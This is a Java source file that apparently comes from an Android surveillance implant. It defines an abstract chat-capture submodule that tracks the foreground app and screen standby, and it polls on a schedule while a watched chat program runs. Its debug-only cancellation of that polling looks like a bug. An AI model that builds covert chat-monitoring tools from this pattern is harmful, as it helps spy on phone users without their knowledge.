package com.android.dvci.module.chat;

import java.util.concurrent.ScheduledFuture;
import java.util.concurrent.TimeUnit;

import com.android.dvci.ProcessInfo;
import com.android.dvci.ProcessStatus;
import com.android.dvci.RunningProcesses;
import com.android.dvci.Standby;
import com.android.dvci.Status;
import com.android.dvci.auto.Cfg;
import com.android.dvci.interfaces.Observer;
import com.android.dvci.listener.ListenerStandby;
import com.android.dvci.module.ModuleChat;
import com.android.dvci.module.SubModule;
import com.android.dvci.util.Check;

public abstract class SubModuleChat extends SubModule implements Observer<Standby> {

	private static final String TAG = "SubModuleChat";
	private ScheduledFuture future;
	RunningProcesses runningProcesses = RunningProcesses.self();

	@Override
	protected void go() {

	}

	@Override
	protected void start() {

	}

	@Override
	protected void stop() {

	}
	
	@Override	
	protected void startListen() {
		ListenerStandby.self().attach(this);
	}
	
	@Override
	protected void stopListen() {
		ListenerStandby.self().detach(this);
	}

	@Override
	public int notification(Standby b) {
		if (Cfg.DEBUG) {
			Check.log(TAG + " (notification) standby " + b);
		}
		if (b.getStatus() == false) {
			ProcessInfo process = new ProcessInfo(runningProcesses.getForeground_wrapper(), ProcessStatus.STOP);
			notification(process);
		} else {
			ProcessInfo process = new ProcessInfo(runningProcesses.getForeground_wrapper(), ProcessStatus.START);
			notification(process);
		}
		return 0;
	}

	@Override
	public int notification(ProcessInfo process) {

		if (process.processInfo.contains(getObservingProgram())) {
			if (process.status == ProcessStatus.STOP) {
				if (Cfg.DEBUG) {
					Check.log(TAG + " (notification), observing found: " + process.processInfo);
				}
				if (future != null) {
					future.cancel(false);
				}
				notifyStopProgram(process.processInfo);

				return 1;
			} else {
				if (frequentNotification(process.processInfo)) {
					Runnable runnable = getFrequentRunnable(process.processInfo);
					if (runnable != null) {
						future = Status.getStpe().scheduleAtFixedRate(runnable, 0, Cfg.FREQUENT_NOTIFICATION_PERIOD, TimeUnit.SECONDS);

					}
					return 1;
				}
			}
		}
		return 0;
	}

	private Runnable getFrequentRunnable(final String processInfo) {
		return new Runnable() {

			@Override
			public void run() {
				if (Cfg.DEBUG) {
					Check.log(TAG + " (run) call frequentNotification " + processInfo);
				}
				if (!frequentNotification(processInfo) && future != null) {
					if (Cfg.DEBUG) {
						Check.log(TAG + " (run) kill stpe");

						future.cancel(false);
					}
				}

			}
		};
	}

	protected boolean frequentNotification(String processInfo) {
		return false;
	}

	protected ModuleChat getModule() {
		return (ModuleChat) module;
	}

	abstract void notifyStopProgram(String processName);

	abstract int getProgramId();

	abstract String getObservingProgram();
}
